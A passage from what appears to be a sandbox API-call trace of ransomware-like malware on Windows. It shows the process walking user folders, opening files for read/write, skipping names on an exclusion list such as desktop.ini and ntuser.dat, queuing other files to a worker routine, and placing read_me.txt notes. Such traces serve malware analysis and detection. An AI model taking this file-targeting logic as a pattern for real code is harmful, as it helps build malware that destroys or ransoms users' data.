pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\read_me.txt") returned 55 [0085.819] GetProcessHeap () returned 0x540000 [0085.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.819] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 88 [0085.819] GetProcessHeap () returned 0x540000 [0085.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c2098 | out: hHeap=0x540000) returned 1 [0085.822] GetProcessHeap () returned 0x540000 [0085.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.822] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\*") returned 28 [0085.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Links\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0085.822] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\.") returned 28 [0085.822] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.822] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\..") returned 29 [0085.822] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.822] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini") returned 38 [0085.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0085.825] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.825] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.825] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.825] CloseHandle (hObject=0x8a8) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0085.825] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk") returned 38 [0085.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a8 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="read_me.txt") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="autoexec.bat") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="desktop.ini") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="autorun.inf") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="ntuser.dat") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="iconcache.db") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="bootsect.bak") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="boot.ini") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="ntuser.dat.log") returned 0x0 [0085.826] StrStrW (lpFirst="desktop.lnk", lpSrch="thumbs.db") returned 0x0 [0085.826] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 223 [0085.826] QueueUserWorkItem (Function=0x404e00, Context=0x8a8, Flags=0x0) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0085.826] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk") returned 40 [0085.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0085.826] StrStrW (lpFirst="downloads.lnk", lpSrch="read_me.txt") returned 0x0 [0085.826] StrStrW (lpFirst="downloads.lnk", lpSrch="autoexec.bat") returned 0x0 [0085.826] StrStrW (lpFirst="downloads.lnk", lpSrch="desktop.ini") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="autorun.inf") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="ntuser.dat") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="iconcache.db") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="bootsect.bak") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="boot.ini") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="ntuser.dat.log") returned 0x0 [0085.827] StrStrW (lpFirst="downloads.lnk", lpSrch="thumbs.db") returned 0x0 [0085.827] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 224 [0085.827] QueueUserWorkItem (Function=0x404e00, Context=0x8a4, Flags=0x0) returned 1 [0085.827] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b05b7b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b05b7b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b05b7b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.827] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\read_me.txt") returned 38 [0085.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\read_me.txt" (normalized: "c:\\users\\default\\links\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0085.827] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.827] CloseHandle (hObject=0x8a0) returned 1 [0085.827] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0085.827] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk") returned 43 [0085.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0085.829] StrStrW (lpFirst="recentplaces.lnk", lpSrch="read_me.txt") returned 0x0 [0085.829] StrStrW (lpFirst="recentplaces.lnk", lpSrch="autoexec.bat") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="desktop.ini") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="autorun.inf") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="ntuser.dat") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="iconcache.db") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="bootsect.bak") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="boot.ini") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="ntuser.dat.log") returned 0x0 [0085.830] StrStrW (lpFirst="recentplaces.lnk", lpSrch="thumbs.db") returned 0x0 [0085.830] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 226 [0085.830] QueueUserWorkItem (Function=0x404e00, Context=0x8dc, Flags=0x0) returned 1 [0085.830] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="recentplaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0085.830] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0085.830] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\read_me.txt") returned 38 [0085.830] GetProcessHeap () returned 0x540000 [0085.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.830] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 90 [0085.830] GetProcessHeap () returned 0x540000 [0085.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41f20b0 | out: hHeap=0x540000) returned 1 [0085.837] GetProcessHeap () returned 0x540000 [0085.837] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.838] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings\\*") returned 37 [0085.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="recentplaces.lnk", cAlternateFileName="")) returned 0xffffffff [0085.838] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings\\read_me.txt") returned 47 [0085.839] GetProcessHeap () returned 0x540000 [0085.839] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.839] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 91 [0085.839] GetProcessHeap () returned 0x540000 [0085.839] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44700e0 | out: hHeap=0x540000) returned 1 [0085.839] GetProcessHeap () returned 0x540000 [0085.839] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.839] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\*") returned 28 [0085.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Music\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0085.839] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\.") returned 28 [0085.839] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.840] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\..") returned 29 [0085.840] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.840] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini") returned 38 [0085.840] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0085.840] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.840] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.840] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.840] CloseHandle (hObject=0x89c) returned 1 [0085.840] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.840] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\read_me.txt") returned 38 [0085.840] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\read_me.txt" (normalized: "c:\\users\\default\\music\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0085.840] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0085.841] CloseHandle (hObject=0x89c) returned 1 [0085.841] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0085.841] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0085.841] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music\\read_me.txt") returned 38 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.841] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 92 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44800e8 | out: hHeap=0x540000) returned 1 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.841] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents\\*") returned 35 [0085.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0085.841] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents\\read_me.txt") returned 45 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4312140 | out: hHeap=0x540000) returned 1 [0085.841] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 93 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42320d0 | out: hHeap=0x540000) returned 1 [0085.841] GetProcessHeap () returned 0x540000 [0085.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42320d0 [0085.842] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood\\*") returned 30 [0085.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af9d0d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1af9d0d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1af9d0d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0085.842] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood\\read_me.txt") returned 40 [0085.842] GetProcessHeap () returned 0x540000 [0085.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42320d0 | out: hHeap=0x540000) returned 1 [0085.842] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 94 [0085.842] GetProcessHeap () returned 0x540000 [0085.842] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42420d8 | out: hHeap=0x540000) returned 1 [0085.842] GetProcessHeap () returned 0x540000 [0085.842] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0085.842] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\*") returned 31 [0085.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0085.842] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\.") returned 31 [0085.842] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0085.842] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\..") returned 32 [0085.842] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.842] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini") returned 41 [0085.842] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0085.845] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0085.845] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0085.845] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0085.845] CloseHandle (hObject=0x89c) returned 1 [0085.845] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b00f4f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0085.845] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures\\read_me.txt") returned 41 [0085.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Pictures\\read_me.txt" (normalized: "c:\\users\\default\\pictures\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0085.845] StrStrW (lpFirst="read_me.txt", 